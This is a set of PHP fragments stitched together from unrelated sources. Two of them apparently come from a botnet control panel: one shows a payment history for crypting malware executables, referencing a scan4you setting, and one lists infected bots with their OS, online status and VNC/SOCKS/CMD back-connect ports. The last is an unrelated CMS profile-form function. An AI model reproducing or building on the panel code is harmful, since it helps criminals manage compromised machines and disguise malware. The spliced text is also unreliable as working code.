\t\t`h`.`paid_date` \tFROM `exe_updates_crypter` `h` \t\tLEFT JOIN `exe_updates` `f` ON(`f`.`id` = `h`.`file_id`) \tWHERE `h`.`file_id` IN ({$files_ids}) \tORDER BY `h`.`ctime` DESC \tLIMIT 50; SQL ); /* Display */ echo str_replace(array('{WIDTH}', '{COLUMNS_COUNT}', '{TEXT}'), array('100%', 1, LNG_DIV_HISTORY), THEME_LIST_BEGIN . THEME_LIST_TITLE); if (!empty($userData['r_svc_crypter_pay']) && isset($GLOBALS['config']['scan4you_jid']) && strpos($GLOBALS['config']['scan4you_jid'], ',') === FALSE) { echo '<tr><td>', LNG_HINT_JABBERS, '</td></tr>'; } echo '<tr><td><table id="crypter-history">'; echo '<THEAD><tr>', '<th>', LNG_DIV_HISTORY_FILENAME, '</th>', '<th>', LNG_DIV_HISTORY_DATE, '</th>', '<th>', LNG_DIV_HISTORY_PAID, '</th>', '</tr></THEAD>'; echo '<TBODY>'; while ($R && !is_bool($r = mysql_fetch_assoc($R))) { echo '<tr>'; echo '<td>', '<span title="', $r['hash'], '">', $r['file'], '</td>'; echo '<td>', date_short($r['ctime']), '</td>'; $dt = is_null($r['paid_date']) ? null : date_short($r['paid_date']); if (empty($userData['r_svc_crypter_pay'])) { echo '<td>', is_null($dt) ? '<b>X</b>' : $dt, '</td>'; } else { echo '<td>', is_null($dt) ? '<a href="?m=svc_crypter&ajax=pay&id=' . $r['id'] . '" class="ajax_replace">' . LNG_DIV_HISTORY_PAY . '</a>' : '<a href="?m=svc_crypter&ajax=unpay&id=' . $r['id'] . '" class="ajax_replace">' . $dt . '</a>', '</td>'; } echo '</tr>'; } echo '</TBODY></table></tr>'; echo THEME_LIST_END . THEME_STRING_NEWLINE; echo '</td></tr>', THEME_DIALOG_END, ThemeEnd();
echo '<td>', 'OS: ', osDataToString($r['bot_os']), '</td>'; echo '<td>', $bot_online ? LNG_BOTS_LIST_BOT_STATUS_ONLINE . ': ' . tickCountToText($r['bot_online']) : LNG_BOTS_LIST_BOT_STATUS_OFFLINE, ' , ', LNG_BOTS_LIST_BOT_STATUS_LAST_LIFESIGN, ' ', date_short($r['bot_rtime_last']), '</td>'; echo '<td>'; # connection status: online, online (persistent), offline + time if ($conn_is_online) { # connected echo LNG_BOTS_LIST_STATUS_CONNECTED, ': ', tickCountToText($conn_online_time); } else { # idle, waiting, disconnected if ($r['do_connect'] == 0) { echo $r['ctime'] == 0 ? LNG_BOTS_LIST_STATUS_IDLE : LNG_BOTS_LIST_STATUS_DISCONNECTED; } else { echo LNG_BOTS_LIST_STATUS_WAITING; } # last time was online echo ' ', LNG_BOTS_LIST_STATUS_OFFLINE_SINCE, ' ', date_short($r['bot_rtime_last']); } if ($r['do_connect'] < 0) { echo '<br><b>', LNG_BOTS_LIST_STATUS_AUTOCONNECT; } echo '</td>'; echo '<td>'; # VNC|SOCKS|CMD + ip:port echo $PROTOCOLS[$r['protocol']]; if ($r['my_port'] != 0) { echo ': ', $GLOBALS['config']['vnc_server'], ':', $r['my_port']; } '</td>'; echo '</tr>'; } echo '</TBODY>';
function ma_formfield($type, $field, $size, $userinfo) { global $MAIN_CFG, $CPG_SESS, $l10n_dst_regions, $l10n_gmt_regions; if ($type == 0) { return '<input type="text" name="' . ($field == 'name' ? 'realname' : $field) . '" value="' . htmlprepare($userinfo[$field]) . '" class="post" style="width: 200px" size="25" maxlength="' . $size . '" />'; } else { if ($type == 1) { return yesno_option($field, is_user() ? $userinfo[$field] : $size); } else { if ($type == 2) { return '<textarea name="' . $field . '" style="width: 300px" rows="6" cols="30" class="post">' . htmlprepare($userinfo[$field]) . '</textarea>'; } else { if ($type == 3) { $ret = select_box($field, $userinfo[$field], $l10n_gmt_regions); if ($field == 'user_timezone') { $ret .= '<br /><select name="user_dst">'; foreach ($l10n_dst_regions as $region => $data) { $sel = $userinfo['user_dst'] == $region ? 'selected="selected"' : ''; $ret .= "<option value=\"{$region}\" {$sel}>{$data['0']}</option>\n"; } $ret .= '</select>'; } return $ret; } else { if ($type == 4) { return '<input type="text" name="' . $field . '" value="' . htmlprepare(is_user() ? $userinfo[$field] : '') . '" class="post" style="width: 100px" size="15" maxlength="' . $size . '" />'; } else { if ($type == 5) { return select_box($field, is_user() ? $userinfo[$field] : 'm', array('m' => _MALE, 'f' => _FEMALE)); } else { if ($type == 6) { return '<input type="text" name="' . $field . '" value="' . (is_user() ? date_short($userinfo[$field]) : '') . '" class="post" style="width: 100px" size="15" maxlength="10" /> 10/24/1980'; } else { if ($type == 7) { $themelist = array(); $handle = opendir('themes'); while ($file = readdir($handle)) { if (false === strpos($file, '.') && $file != 'CVS' && file_exists("themes/{$file}/theme.php")) { $themelist[] = "{$file}"; } } closedir($handle); natcasesort($themelist); return select_option($field, is_user() && !empty($userinfo['theme']) && is_dir('themes/' . $userinfo['theme']) ? $userinfo['theme'] : $CPG_SESS['theme'], $themelist); } else { if ($type == 8) { if ($field == 'user_lang') { return lang_selectbox($userinfo['user_lang'], $field, false); } return ''; } } } } } } } } } return ''; }